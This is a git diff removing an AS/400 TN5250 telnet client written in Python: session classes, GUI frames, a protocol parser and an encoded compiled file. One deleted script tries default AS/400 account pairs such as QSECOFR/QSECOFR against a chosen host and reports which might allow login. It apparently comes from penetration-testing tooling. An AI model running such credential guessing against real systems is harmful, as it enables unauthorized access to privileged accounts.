z_WmWO>}#FVO?659q}cyQDe+81Z`C8~Gi;jRjUrA#GfK+YQYVRcnY#AHyu>By#^+wj5w!-FwjOc76E^Mzt|% u_Ya_#fgN)g8g#RwNRpV*Npi&6-2g}kKChkrf(^;<3g#vzXV(wB!21VICWOlX diff --git a/as400/SessionManager.py b/as400/SessionManager.py deleted file mode 100644 index bce86a1..0000000 --- a/as400/SessionManager.py +++ /dev/null @@ -1,44 +0,0 @@ -""" -SessionManager and Sessions objects -Created by Nathanael Custer 2002-07-01 -""" -from Sessions import Sessions - -__all__ = ["SessionManager"] - -# Tunable parameters -DEBUGLEVEL = 0 -# Telnet Port TELNET_PORT = 23 - -class SessionManager: - def __init__(self): - self.MasterSessionList = Sessions() - - def getSessions(self): - return self.MasterSessionList - - def openSession(self, name=''): - self.MasterSessionList._addSession(name) - return self.MasterSessionList.item(name) - - def closeSession(self, name=''): - session = self.MasterSessionList.item(name) - self.MasterSessionList._delSession(name) - - def refresh(self): - return self.MasterSessionList - -if __name__ == '__main__': - test = SessionManager() - print "Generating 10 test sessions." - for x in range(10): - test.openSession('test' + str(x)) - print "Here is the list of the sessions:" - a = test.getSessions() - print a.list - print "Now removing the sessions one at a time" - for x in range(10): - test.closeSession('test' + str(x)) - a = test.refresh() - print "One less" - print a.list diff --git a/as400/Sessions.py b/as400/Sessions.py deleted file mode 100644 index da63d87..0000000 --- a/as400/Sessions.py +++ /dev/null @@ -1,38 +0,0 @@ -""" -SessionManager and Sessions objects -Created by Nathanael Custer 2002-07-01 -""" -from Session import Session - -__all__ = ["Sessions"] - -# Tunable parameters -DEBUGLEVEL = 0 -# Telnet Port -TELNET_PORT = 23 - -class Sessions: - def __init__(self): - self.list = [] - - def _addSession(self, name=''): - session = [name, Session()] - self.list.append(session) - - def _delSession(self, name=''): - for x in self.list: - if name == x[0]: - self.list.remove(x) - #else: - #raise error here - - def item(self, name=''): - for x in self.list: - if name == x[0]: - return x[1] - - def item_index(self, index=0): - return self.list[index][1] - - def _list(self): - return self.list \ No newline at end of file diff --git a/as400/frmConnect.py b/as400/frmConnect.py deleted file mode 100644 index 75ed028..0000000 --- a/as400/frmConnect.py +++ /dev/null @@ -1,56 +0,0 @@ -#Boa:Frame:wxFrame1 - -from wxPython.wx import * -from wxPython.grid import * - -def create(parent): - return wxFrame1(parent) - -[wxID_WXFRAME1, wxID_WXFRAME1BUTTON1, wxID_WXFRAME1BUTTON2, - wxID_WXFRAME1BUTTON3, wxID_WXFRAME1BUTTON4, wxID_WXFRAME1BUTTON5, - wxID_WXFRAME1BUTTON6, wxID_WXFRAME1GRID1, -] = map(lambda _init_ctrls: wxNewId(), range(8)) - -class wxFrame1(wxFrame): - def _init_utils(self): - # generated method, don't edit - pass - - def _init_ctrls(self, prnt): - # generated method, don't edit - wxFrame.__init__(self, id=wxID_WXFRAME1, name='', parent=prnt, - pos=wxPoint(350, 272), size=wxSize(370, 310), - style=wxDEFAULT_FRAME_STYLE, title='TN5250PY - Verbindingen') - self._init_utils() - self.SetClientSize(wxSize(362, 276)) - - self.grid1 = wxGrid(id=wxID_WXFRAME1GRID1, name='grid1', parent=self, - pos=wxPoint(0, 0), size=wxSize(370, 200), style=0) - self.grid1.SetDefaultRowSize(15) - - self.button1 = wxButton(id=wxID_WXFRAME1BUTTON1, label='Toevoegen', - name='button1', parent=self, pos=wxPoint(25, 210), size=wxSize(90, - 23), style=0) - - self.button2 = wxButton(id=wxID_WXFRAME1BUTTON2, label='Verwijderen', - name='button2', parent=self, pos=wxPoint(140, 210), - size=wxSize(90, 23), style=0) - - self.button3 = wxButton(id=wxID_WXFRAME1BUTTON3, label='Eigenschappen', - name='button3', parent=self, pos=wxPoint(255, 210), - size=wxSize(90, 23), style=0) - - self.button4 = wxButton(id=wxID_WXFRAME1BUTTON4, label='Verbinden', - name='button4', parent=self, pos=wxPoint(25, 245), size=wxSize(90, - 23), style=0) - - self.button5 = wxButton(id=wxID_WXFRAME1BUTTON5, label='Opslaan', - name='button5', parent=self, pos=wxPoint(140, 245), - size=wxSize(90, 23), style=0) - - self.button6 = wxButton(id=wxID_WXFRAME1BUTTON6, label='Annuleren', - name='button6', parent=self, pos=wxPoint(255, 245), - size=wxSize(90, 23), style=0) - - def __init__(self, parent): - self._init_ctrls(parent) diff --git a/as400/frmConnect.pyc b/as400/frmConnect.pyc deleted file mode 100644 index 79a3ced7243f513971ee603a0992bbc38c88771b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2716 zcmb_e-Ba5}5MK$fv5EPHkkSy+q^V0Ai23SECM};CW>SX{PFp;kYJ~3~$H=lrIx5r2 z8=XG&59@RPl}?}2-=1VZ=} z<|2-Vtn=_V3=>`+48lWRnb=qycd9bp5lLtR5V$H(+HL62k8U0xXaCgqng_yrb_;xj zL5igg2iM>!KRj8-h#r7QoFR^a(!<0t^Qq!UljH3rXRq7?y?^J~3n}cnNn%DxV!RMZ z|M2D+U2M^bR(>?Zz-HU+2LJIG#@Jwa3o~r{vBiafG_=h*pfXXDZ;)XhY4ABNG}Nc) zCyjC~kSLnz0O>vwD9#d!DsKVeILAk5xV+ItjSjIciq6vg#s$m)HEdkKY2spp#7Ne~ zXzGIHlmoU~%nz-jdyXdGl=J*!TB_c zgS@WAne5`gDR3ScoX@g2$m?31sig9`!mB7WTr+`kA_~xXP=vT~EJVSf`?MnU6Rw;Z z1~E#J`bDacMXN08gHohVeQ7wYv@fIEkkzW(g?9I6AJ2X#!vhrv6&%Sxp~6XxcP)=X zB`ON)r2b&ScfH~5Oxv5?#| zFZ37H@2pS)*;0Ut8n3-}JEO9s-m(gNOykWgFRQ<^#wIDe0-*LQJ z=0J^E+SzgUQ0YnMbWKEYXJ^y>{)cU6?c1$Ns=C`!fi^8W?(AX1^#rWq&gRzk+N&2e z*XX)?wfz@c4&xb|J*hW*g{X}IH~F~p9Q&(B4SUJSb7yC>;&AWLBOox`l!xAlubozG zj2ScTted^o+ zu3v`_%am+8`~WXdhbx^^j+Q~lp0Q@El2x=O?I~-{8n#ER`_=^Lv^9NBvy$_!&(WE# z&%4j96cpbb=**YiNVp ',startRow,endRow,' to -> ',endRow,endColumn - if initiator == 0: ## 0 is from client and 1 is from host - return - # Note we only print the first 12 rows here - indices = range(1,24) - #for idx in indices: - #print myScreen.getPlaneData(idx,1,idx,80,1) - #print self.screen.getPlaneData(idx,1,80,2) - fields = myScreen.getFields() - if self.USERID == None or self.PASSWORD == None: - self.USERID = raw_input("What's your username ? > ") - self.PASSWORD = raw_input("What's your password ? > ") - if self.first == 1: - field = fields.getItem(0) - field.setString(self.USERID) - field = fields.getItem(1) - field.setString(self.PASSWORD) - #for field in fields: - # print field.toString() - # #print field.getText() - - #print fields.readFormatTable(0x42,CodePage.CodePage()) - #print myScreen.getFields().readFormatTable(0x52,CodePage.CodePage()) - # Note we only print the first 12 rows here - indices = range(1,25) - global foundText - for idx in indices: - output = myScreen.getPlaneData(idx,1,idx,80,1) - if "does not exist" in output: - foundText=output - if "cannot sign on" in output: - foundText=output - if "No password associated" in output: - foundText=output - #if len(foundText.strip())>0: - # print foundText - #else: - # print "It might be possible to login with ("+self.USERID+"|"+self.PASSWORD+")" - #print myScreen.getPlaneData(idx,1,idx,80,1) - - #print 'number of fields',myScreen.getFields().getCount() - if self.first < 7: - myScreen.sendAidKey(0xF1) - self.first += 1 -if __name__ == '__main__': - parser = argparse.ArgumentParser() - parser.add_argument('-i',dest='hostIP',action='store',help='[IP of AS/400 host]') - parser.add_argument('-p',dest='portNo',action='store',help='[Port of AS/400 host]') - options = parser.parse_args() - - if len(sys.argv)==1: - parser.print_help() - sys.exit() - else: - if options.hostIP and options.portNo: - userList=[] - userList.append(('QSECOFR','QSECOFR')) - userList.append(('QPGWR','QPGWR')) - userList.append(('QUSER','QUSER')) - userList.append(('QSYSOFR','QSYSOFR')) - userList.append(('QSRVBAS','QSRVBAS')) - userList.append(('QSRV','QSRV')) - userList.append(('QDFTOWN','QDFTOWN')) - - host = options.hostIP - - for user in userList: - ts = testsession() - ts.USERID = user[0] - ts.PASSWORD = user[1] - print "\n[*] Testing ("+user[0]+"|"+user[1]+")" - session = Session.Session(host) - session.setPort = options.portNo - session.set_debuglevel(0) - myScreen = session.getScreen() - session.getScreen().add_screen_listener(ts.outputScreen) - session.connect() - time.sleep(2) - if len(foundText.strip())>0: - print foundText - else: - print "It might be possible to login with ("+user[0]+"|"+user[1]+")" - - session.disconnect() - sys.exit() - diff --git a/as400/tn5250.old.py b/as400/tn5250.old.py deleted file mode 100644 index 45f7bad..0000000 --- a/as400/tn5250.old.py +++ /dev/null @@ -1,162 +0,0 @@ -#!/usr/local/bin/python -######################################################################### -# Tk8.0 style main window menus # -######################################################################### - -from Tkinter import * # get widget classes -from tkMessageBox import * # get standard dialogs -from tkSimpleDialog import askstring -import Session -import Screen5250 -import ScreenFields -from SessionManager import SessionManager -#import Sessions -import CodePage -from sys import argv - -__all__ = ["testsession"] - -class StartFrame(Frame): # an extended frame - def __init__(self, parent=None): # attach to top-level? - self.first = 1 - self.USERID = None - self.PASSWORD = None - self.myScreen = None - - Frame.__init__(self, parent) # do superclass init - self.canvas = Canvas(parent,width=600,height=500, bg='black') - self.manager = SessionManager() - self.pack() - - self.createWidgets() # attach frames/widgets - self.master.title("TN5250 for Python - Testing") - self.master.iconname("TN5250") # label when iconified - self.strprg() - - def outputScreen(self, initiator, startRow, startColumn, endRow, endColumn): - """ - Callable method to get screen updates - """ - print 'ScreenUpdated - initiated from ', initiator, \ - ' Starting from -> ',startRow,endRow,' to -> ', \ - endRow,endColumn - - if initiator == 0: ## 0 is from client and 1 is from host - return - - # Note we only print the first 12 rows here - indices = range(1,24) - - # for idx in indices: - # print self.myScreen.getPlaneData(idx,1,idx,80,1) - # print self.screen.getPlaneData(idx,1,80,2) - - fields = self.myScreen.getFields() - - if self.USERID == None or self.PASSWORD == None: - self.USERID = raw_input("What's your username ? > ") - self.PASSWORD = raw_input("What's your password ? > ") - - if self.first == 1: - field = fields.getItem(0) - field.setString(self.USERID) - field = fields.getItem(1) - field.setString(self.PASSWORD) - - for field in fields: - #print field.toString() - print field.getText() - - #print fields.readFormatTable(0x42,CodePage.CodePage()) - #print myScreen.getFields().readFormatTable(0x52,CodePage.CodePage()) - # Note we only print the first 12 rows here - indices = range(1,25) - row = 0 - - for idx in indices: - text = self.myScreen.getPlaneData(idx,1,idx,80,1) - row += 15 - col = 0 - indx = range(0,79) - for x in indx: - col += 10 - self.canvas.create_text(col,row,text=text[x], anchor=E, fill='green') - - print 'number of fields',self.myScreen.getFields().getCount() - """ - Patrick here I just keep pressing enter so that the screens - keep coming up to see the messages. Actually 6 times. - the first is to send username and password. Then 2 more times - to get passed messages and stuff. Then 2 more times to - get messages at the bottom of the screen to make sure all is - coming up. Change this number if you want less for now. - """ - - if self.first < 7: - self.myScreen.sendAidKey(0xF1) - self.first += 1 - - def strprg(self): - if len(argv) >= 2: host = argv[1] - else: - host = askstring('Hostname', "Name of the Host ?") - - #ts = testsession() - - if len(argv) > 3: - self.USERID = argv[2] - self.PASSWORD = argv[3] - - session = self.manager.openSession('Session 1') - session.setHost(host) - #session = Session.Session(host) - - session.set_debuglevel(1) - self.myScreen = session.getScreen() - session.getScreen().add_screen_listener(self.outputScreen) - session.connect() - - def createWidgets(self): - self.makeMenuBar() - #self.canvas = self.root.createcomponent('canvas', (), None, \ - #Canvas, (self.interior(),), width=self.width, \ - #height=self.height,background="black") - self.canvas.pack(fill=BOTH) - #text = Text(self, relief=SUNKEN, fg='green', bg='black', \ - #width=150, height=50) - #text.pack(fill=BOTH) - - def makeMenuBar(self): - self.menubar = Menu(self.master) - self.master.config(menu=self.menubar) # master=top-level window - self.fileMenu() - self.editMenu() - - def fileMenu(self): - pulldown = Menu(self.menubar, tearoff=0) - pulldown.add_command(label='Open...', command=self.notdone, \ - underline=0) - pulldown.add_command(label='Quit', command=self.quit, \ - underline=0) - pulldown.entryconfig(0, state=DISABLED) - self.menubar.add_cascade(label='File', underline=0, menu=pulldown) - - def editMenu(self): - pulldown = Menu(self.menubar, tearoff=0) - pulldown.add_command(label='Copy', command=self.notdone) - pulldown.add_command(label='Paste', command=self.notdone) - pulldown.entryconfig(0, state=DISABLED) - pulldown.entryconfig(1, state=DISABLED) - self.menubar.add_cascade(label='Edit', underline=0, menu=pulldown) - - def notdone(self): - showerror('Not implemented', 'Not yet available') - - def quit(self): - if askyesno('Verify quit', 'Are you sure you want to quit?'): - Frame.quit(self) - -if __name__ == '__main__': - #root = Tk() - StartFrame().mainloop() - #root.mainloop() # if I'm run as a script diff --git a/as400/tn5250.py b/as400/tn5250.py deleted file mode 100644 index 16920df..0000000 --- a/as400/tn5250.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python -#Boa:App:BoaApp - -from wxPython.wx import * - -import frmConnect - -modules ={'frmConnect': [1, 'Main frame of Application', 'frmConnect.py']} - -class BoaApp(wxApp): - def OnInit(self): - wxInitAllImageHandlers() - self.main = frmConnect.create(None) - # needed when running from Boa under Windows 9X - self.SetTopWindow(self.main) - self.main.Show();self.main.Hide();self.main.Show() - return True - -def main(): - application = BoaApp(0) - application.MainLoop() - -if __name__ == '__main__': - main() diff --git a/as400/vt5250.py b/as400/vt5250.py deleted file mode 100644 index e9b6a58..0000000 --- a/as400/vt5250.py +++ /dev/null @@ -1,874 +0,0 @@ -"""Enhanced Telnet 5250 client class. -Based on RFC 1205: 5250 Telnet Protocol Specification, by P. Chmielewski -Example: ->>>from tnvtlib import Telnet5250 tn = Telnet5250('www.net400.org', 23) ->>>connect to as400 host -Created by Kenneth J. Pouncey 2002-05-10 -""" - -# Import modules -import sys -import socket -import select -import Queue -import CodePage -import Screen5250 - -__all__ = ["vt5250"] - -# Tunable parameters -DEBUGLEVEL = 0 - -# buffersize -BUFSIZE = 8*1024 - -# Telnet protocol defaults -TELNET_PORT = 23 - -# Telnet protocol characters (don't change) -IAC = chr(255) # "Interpret As Command" -DONT = chr(254) -DO = chr(253) -WONT = chr(252) -WILL = chr(251) -theNULL = chr(0) -SB = chr(250) # begin subnegotiation -SE = chr(240) # end subnegotiation -QUAL_IS = chr(0) # qualifier is -EOR = chr(239) # End of record -TERMINAL_TYPE = chr(24) # terminal type -OPT_END_OF_RECORD = chr(25) # End of record option RFC 885 -TRANSMIT_BINARY = chr(0) # transmit binary RFC 856 -TIMING_MARK = chr(6) # not used yet -NEW_ENVIRONMENT = chr(39) # not used yet - -class vt5250: - """vt5250 interface class. - An instance of this class represents a connection to a telnet server. - The instance is initially not connected; the open() method must be - used to establish a connection. Alternatively, the host name and - optional port number can be passed to the constructor, too. - Don't try to reopen an already connected instance. - This class has many read_*() methods. Note that some of them raise - EOFError when the end of the connection is read, because they can - return an empty string for other reasons. - See the individual doc strings. - read_all() - Read all data until EOF; may block. - read_some() - Read at least one byte or EOF; may block. - """ - - def __init__(self, host=None, port=0): - """Constructor. - When called without arguments, create an unconnected instance. - With a hostname argument, it connects the instance; a port - number is optional. - """ - self.debuglevel = DEBUGLEVEL - self.host = host - self.port = port - self.sock = None - self.rawq = '' - self.irawq = 0 - self.cookedq = '' - self.eof = 0 - self.buffer = '' - self.saveStream = '' - self.readType = 0 - self.codePage = CodePage.CodePage() - - # Create the queue - self.queue = Queue.Queue() - - if host: - self.open(host, port) - - def open(self, host, port=0): - """Connect to a host. - The optional second argument is the port number, which - defaults to the standard telnet port (23). - Don't try to reopen an already connected instance. - """ - self.eof = 0 - if not port: - port = TELNET_PORT - self.host = host - self.port = port - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.connect((self.host, self.port)) - self.interact() - - def __del__(self): - """Destructor -- close the connection.""" - self.close() - - def msg(self, msg, *args): - """Print a debug message, when the debug level is > 0. - If extra arguments are present, they are substituted in the - message using the standard string formatting operator. - """ - if self.debuglevel > 0: - print 'Telnet5250(%s,%d):' % (self.host, self.port), - #if args: - # print msg % args - #else: - # print msg - - def set_debuglevel(self, debuglevel): - """Set the debug level. - The higher it is, the more debug output you get (on sys.stdout). - """ - self.debuglevel = debuglevel - - def close(self): - """Close the connection.""" - if self.sock: - self.sock.close() - self.msg("socket closing down") - self.sock = 0 - self.eof = 1 - self.running = 0 - self.queue.put(None) - self.msg("socket closed down") - - def get_socket(self): - """Return the socket object used internally.""" - return self.sock - - def fileno(self): - """Return the fileno() of the socket object used internally.""" - return self.sock.fileno() - - def write(self, buffer): - """Write a string to the socket, doubling any IAC characters. - Can block if the connection is blocked. May raise - socket.error if the connection is closed. - """ - if IAC in buffer: - buffer = buffer.replace(IAC, IAC+IAC) - self.msg("send %s", `buffer`) - self.sock.send(buffer) - - def writeGDS(self,flags, opcode, bytes): - """Write a string to the socket, doubling any IAC characters. - Can block if the connection is blocked. May raise - socket.error if the connection is closed. - """ - length = 10 - buffer = [] - if len(bytes) > 0: - if IAC in bytes: - bytes = bytes.replace(IAC, IAC+IAC) - length = len(bytes) + 10 - buffer = chr(length >> 8) - buffer += chr(length & 0xff) - buffer += chr(0x12) - buffer += chr(0xA0) - buffer += chr(0x0) - buffer += chr(0x0) - buffer += chr(0x04) - buffer += chr(flags) - buffer += chr(0x0) - buffer += chr(opcode) - for x in bytes: - buffer += chr(x) - #buffer += bytes - buffer += IAC - buffer += EOR - self.msg("send %s", `buffer`) - self.sock.send(buffer) - #self.sock.flush() - - def read_all(self): - """Read all data until EOF; block until connection closed.""" - self.process_rawq() - while not self.eof: - self.load_stream() - self.process_rawq() - buf = self.cookedq - self.cookedq = '' - return buf - - def read_incoming(self): - """Read all data until EOF; block until connection closed.""" - #print 'reading' - self.process_rawq() - while not self.eof: - self.readIncoming() - self.process_rawq() - buf = self.cookedq - self.cookedq = '' - return buf - - def process_rawq(self): - """ - Transfer from raw queue to cooked queue. - Set self.eof when connection is closed. - Don't block unless in the midst of an IAC sequence. - """ - buf = '' - try: - while self.rawq: - c = self.rawq_getchar() - buf = buf + c - except EOFError: # raised by self.rawq_getchar() - pass - self.cookedq = self.cookedq + buf - - def rawq_getchar(self): - """ - Get next char from raw queue. - Block if no data is immediately available. - Raise EOFError when connection is closed. - """ - if not self.rawq: - self.fill_rawq() - if self.eof: - raise EOFError - c = self.rawq[self.irawq] - self.irawq = self.irawq + 1 - if self.irawq >= len(self.rawq): - self.rawq = '' - self.irawq = 0 - return c - - def fill_rawq(self): - """Fill raw queue from exactly one recv() system call. - Block if no data is immediately available. - Set self.eof when connection is closed. - """ - if self.irawq >= len(self.rawq): - self.rawq = '' - self.irawq = 0 - buf = self.sock.recv(BUFSIZE) - self.msg("recv %s", `buf`) - self.eof = (not buf) - self.rawq = self.rawq + buf - - def loadStream(self,stream): - """ - Fill raw queue from exactly one recv() system call. - Block if no data is immediately available. - Set self.eof when connection is closed. - """ - j = 0 - size = 0 - self.msg("recv from load stream %s", `stream`) - if self.saveStream == '': - j = (ord(stream[0]) & 0xff) << 8 | (ord(stream[1]) & 0xff); - size = len(stream); - else: - size = len(self.saveStream) + len(stream) - stream = self.saveStream + stream - j = (ord(stream[0]) & 0xff) << 8 | (ord(stream[1]) & 0xff); - self.saveStream = '' - if j > size: - self.saveStrem = stream - else: - self.queue.put(stream) - #here - #print j,size,len(stream) - #self.msg("recv from load stream %s", `stream`) - - def readIncoming(self): - """ - Fill raw queue from exactly one recv() system call. - Block if no data is immediately available. - Set self.eof when connection is closed. - """ - if self.irawq >= len(self.rawq): - self.rawq = '' - self.irawq = 0 - buf = self.sock.recv(BUFSIZE) - self.buffer = self.buffer + buf - self.msg("recv readIncoming %s" % `self.buffer`) - buffer = '' - j = -1 - startOffset = 0 - indices = range(len(self.buffer)) - for idx in indices : - i = self.buffer[idx] - if (j == IAC) and (i == IAC): - j = -1 - continue - else: - buffer = buffer + i - if (j == IAC) and (i == EOR): - self.loadStream(buffer[startOffset:idx]) - startOffset = idx + 1 - #self.eof = (not buffer) - #buffer = '' - j = i - if startOffset < idx: - self.loadStream(buffer[startOffset:idx]) - #here1 - #print idx,startOffset,len(self.buffer) - self.buffer = '' - - def sock_avail(self): - """Test whether data is available on the socket.""" - return select.select([self], [], [], 0) == ([self], [], []) - - def process_negotiations(self): - """ - Transfer from raw queue to cooked queue. - Set self.eof when connection is closed. - Don't block unless in the midst of an IAC sequence. - """ - buf = '' - done = 0 - try: - c = self.rawq_getchar() - while c == IAC: - c = self.rawq_getchar() - if c == IAC: - buf = buf + c - elif c == DO: - opt = self.rawq_getchar() - if opt == NEW_ENVIRONMENT: - self.msg('IAC DO NEW_ENVIRONMENT') - self.msg('sending : IAC WONT NEW_ENVIRONMENT') - self.sock.send(IAC + WONT + NEW_ENVIRONMENT) - elif opt == TERMINAL_TYPE: - self.msg('IAC DO TERMINAL_TYPE') - self.msg('sending : IAC WILL TERMINAL_TYPE') - self.sock.send(IAC + WILL + TERMINAL_TYPE) - elif opt == OPT_END_OF_RECORD: - self.msg('IAC DO OPT_END_OF_RECORD') - self.msg('sending : IAC WILL OPT_END_OF_RECORD') - self.sock.send(IAC + WILL + OPT_END_OF_RECORD) - elif opt == TRANSMIT_BINARY: - self.msg('IAC DO TRANSMIT_BINARY') - self.msg('sending: IAC WILL TRANSMIT_BINARY') - self.sock.send(IAC + WILL + TRANSMIT_BINARY) - else: - # default that we wont - self.msg('IAC DO %d', ord(opt)) - self.msg('sending : IAC WONT %d', ord(opt)) - self.sock.send(IAC + WONT + opt) - elif c == DONT: - opt = self.rawq_getchar() - self.msg('IAC %s %d', c == DO and 'DO' or 'DONT', \ - ord(c)) - self.sock.send(IAC + WONT + opt) - elif c == WILL: - opt = self.rawq_getchar() - if opt == OPT_END_OF_RECORD: - self.msg('IAC WILL OPT_END_OF_RECORD') - self.msg('sending : IAC DO OPT_END_OF_RECORD') - self.sock.send(IAC + DO + OPT_END_OF_RECORD) - elif opt == TRANSMIT_BINARY: - self.msg('IAC WILL TRANSMIT_BINARY') - self.msg('sending : IAC DO TRANSMIT_BINARY') - self.sock.send(IAC + DO + TRANSMIT_BINARY) - else: - self.msg('IAC WILL %d', ord(opt)) - self.msg('sending : IAC DONT %d', ord(opt)) - self.sock.send(IAC + DONT + opt) - elif c == WONT: - opt = self.rawq_getchar() - self.msg('IAC %s %d', - c == WILL and 'WILL' or 'WONT', ord(c)) - self.sock.send(IAC + DONT + opt) - elif c == SB: - sbOpt = self.rawq_getchar() - if sbOpt == TERMINAL_TYPE: - if self.rawq_getchar() == chr(1): - self.msg('sending: TERMINAL_TYPE') - self.sock.send(IAC + SB + TERMINAL_TYPE + \ - QUAL_IS + 'IBM-3179-2' + \ - IAC + SE) - elif c == SE: - self.msg('ENDING Subnegotiation') - else: - self.msg('IAC %s not recognized' % `c`) - c = self.rawq_getchar() - except EOFError: # raised by self.rawq_getchar() - pass - self.cookedq = self.cookedq + buf - self.buffer = self.rawq - - def negotiate_session(self): - self.process_negotiations() - while not self.cookedq and not self.eof and self.sock_avail(): - self.fill_rawq() - self.process_negotiations() - - def interact(self): - """Interaction function, emulates a very dumb telnet client.""" - while 1: - try: - text = self.negotiate_session() - if not text: - break - except EOFError: - break - self.mt_interact() - - def mt_interact(self): - """Multithreaded version of interact().""" - import threading - self.running = 1 - self.dataProducerThread = threading.Thread(target=self.listener) - self.dataProducerThread.start() - self.dataConsumerThread = \ - threading.Thread(target=self.parse_stream) - self.dataConsumerThread.start() - - def listener(self): - """Helper for mt_interact() -- this executes in the other thread.""" - # load the first response from host - self.loadStream(self.buffer) - while self.running: - try: - #print 'listener running' - self.read_incoming() - except EOFError: - print '*** Connection closed by remote host ***' - return - #print 'ended' - - def parse_stream(self): - import struct - import operator - self.msg ('parse stream running') - while self.running: - self.dataStream = self.queue.get() - if self.dataStream == None: - #print 'data stream is None' - self.running = 0 - continue - # Check contents of message and do what it says - # As a test, we simply print it - self.msg( 'message from queue %s', `self.dataStream`) - self.msgLen = ((ord(self.dataStream[0]) & 0xff) << 8) | \ - (ord(self.dataStream[1]) & 0xff) - opcode = ord(self.dataStream[9] ) - dataStart = 6 + ord(self.dataStream[6]) - self.pos = dataStart - self.msg( 'opcode from stream buffer %s', `opcode`) - self.msg( 'msg length from stream buffer %s', \ - `self.msgLen`) - self.msg( 'data start from stream buffer %s', `dataStart`) - if opcode == 0: - self.msg( 'No Operation ') - elif opcode == 1: - self.msg( 'Invite Operation ') - self.parseIncoming() - elif opcode == 2: - self.msg( 'Output only ') - self.parseIncoming() - elif opcode == 3: - self.msg( 'Put/Get Operation ') - self.parseIncoming() - elif opcode == 4: - self.msg( 'Save Screen Operation ') - self.parseIncoming() - elif opcode == 5: - self.msg( 'Restore Screen Operation ') - self.parseIncoming() - elif opcode == 6: - self.msg( 'Read Immediate ') - elif opcode == 7: - self.msg( 'Reserved ') - elif opcode == 8: - self.msg( 'Read Screen Operation ') - elif opcode == 9: - self.msg( 'Reserved ') - elif opcode == 10: - self.msg( 'Cancel Invite ') - elif opcode == 11: - self.msg( 'Turn on message light ') - elif opcode == 12: - self.msg( 'Turn off message light ') - else: - self.msg( 'Invalid Operation Code ') - self.msg('at end of queue') - - def parseIncoming(self): - """Parse the incoming data stream.""" - buf = '' - done = 0 - error = 0 - control0 = 0 - control1 = 0 - controlChars = 0 - while self.pos < self.msgLen and not done: - self.pos += 1 - b = ord(self.dataStream[self.pos] ) - if b == 0 or b == 1 or b == 4: - pass - elif b == 2 or b == 3: - self.msg( 'Save Screen') - elif b == 7: - self.msg( 'Audible bell') - self.pos += 2 - elif b == 17: - self.msg( 'Write to display') - self.writeToDisplay(0) - elif b == 18 or b == 19: - self.msg( 'Restore Screen') - elif b == 32: - self.msg( 'Clear unit Alternate') - self.screen.clearAll() - elif b == 33: - self.msg( 'Write Error Code') - elif b == 34: - self.msg( 'Write Error Code to Window') - elif b == 64: - self.msg( 'Clear Unit') - self.screen.clearAll() - elif b == 80: - self.msg( 'Clear Format Table') - self.screen.clearFFT() - elif b == 98 or b == 102: - self.msg( 'Read Screen Immediate') - elif b == 66 or b == 82: - self.msg( 'Read Input Fields or MDT Fields ') - self.readType = b - self.screen.goHome() - self.screen.notify_screen_listeners(1) - elif b == 83: - self.msg( 'Read MDT Immediate Alt') - elif b == 243: - self.msg( 'Write Structured Field') - self.writeStructuredField() - else: - self.msg( 'invalid option %s',b) - - def writeToDisplay(self,controlsExist): - """Parse the incoming data stream.""" - pos = 0 - error = 0 - done = 0 - attr = 0 - nextOne = 0 - control0 = 0 - control1 = 0 - # initialize from Screen object later - saRows = 24 - saColumns = 80 - if controlsExist: - self.pos += 1 - control0 = self.dataStream[self.pos] - self.pos += 1 - control1 = self.dataStream[self.pos] - #print 'in write to display' - while self.pos < self.msgLen and not done: - self.pos += 1 - which1 = ord(self.dataStream[self.pos]) - if which1 == 1: # Start of Header - self.msg( 'Start of Header') - error = self.processSOH() - elif which1 == 2: # Repeat to Address - row = self.screen.getCurrentRow() - col = self.screen.getCurrentCol() - self.pos += 1 - toRow = ord(self.dataStream[self.pos]) - self.pos += 1 - toCol = (ord(self.dataStream[self.pos]) & 0xff) - rows = self.screen.getRows() - cols = self.screen.getCols() - if toRow >= row: - self.pos += 1 - repeat = ord(self.dataStream[self.pos]) - if row == 1 and col == 2 and toRow == rows and \ - toCol == cols: - self.screen.clearAll() - else: - if repeat != 0: - repeat = self.getASCIIChar(repeat) - times = ((toRow * cols) + toCol) - \ - ((row * cols) + col) - while times >= 0: - self.screen.setChar(repeat) - times -= 1 - self.msg( 'RA - Repeat to address %s, %s',toRow,toCol) - elif which1 == 3: # EA - Erase to address - # need to implement later - self.msg( 'Erase to Address') - elif which1 == 4: # Escape - done = 1 - self.msg('Escape') - elif which1 == 16: # Transparent Data - # need to implent later - self.msg('Transparent Data') - elif which1 == 17: # SBA - Set buffer address - self.pos += 1 - saRow = ord(self.dataStream[self.pos]) - self.pos += 1 - saCol = (ord(self.dataStream[self.pos]) & 0xff) - self.screen.moveTo(saRow,saCol) - self.msg('SBA - Set buffer Address %s %s',saRow,saCol) - elif which1 == 18: # WEA - Extended Attribute - self.pos += 1 - self.dataStream[self.pos] - self.pos += 1 - self.dataStream[self.pos] - self.msg('WEA - Extended Attribute') - elif which1 == 19 or which1 == 20 : # IC - Insert Cursor - # MC - Move Cursor - self.pos += 1 - icX = ord(self.dataStream[self.pos]) - self.pos += 1 - icY = (ord(self.dataStream[self.pos]) & 0xff) - self.msg( 'IC or MC - Insert Cursor or Move Cursor \ - %s,%s',icX,icY) - self.screen.setPendingInsert(1,icX,icY) - elif which1 == 21: - # WTDSF - Write to Display Structured Field order - # implement later - self.msg( 'WTDSF - \ - Write to Display Structured Field order') - elif which1 == 29: # SOF - Start of field - """Subtopic 15.6.12""" - # lets initialize the Field format - # word and field control word - fcw1 = 0 - fcw2 = 0 - ffw1 = 0 - ffw0 = 0 - # get the first byte of the Field format word - self.pos += 1 - ffw0 = ord(self.dataStream[self.pos]) # FFW0 - # The first two bits of this byte determine if the FFW - # exits or not because it is optional we use a logical and - # to get the value of the first two bits. If the first - # two bits contain the value 01 then we have a Field format - # word. - if (ffw0 & 0x40) == 0x40: - self.pos += 1 - ffw1 = (ord(self.dataStream[self.pos]) & 0xff) # FFW1 - self.pos += 1 - fcw1 = (ord(self.dataStream[self.pos]) & 0xff) - #check for field - # after processing the Field format word we check if - # the next byte is the field attribute byte or not. - # If it is not an attribute byte then we have a field - # control word and the attribute will follow the next - # two bytes. - if not self.isAttribute(fcw1): - self.pos += 1 - fcw2 = (ord(self.dataStream[self.pos]) & 0xff) - # FCW2 - self.pos += 1 - attr = (ord(self.dataStream[self.pos]) & 0xff) - # attribute - else: - attr = fcw1 # attribute of field - fcw1 = 0 - else: - # If the check for the Field format word was not - # successful then we 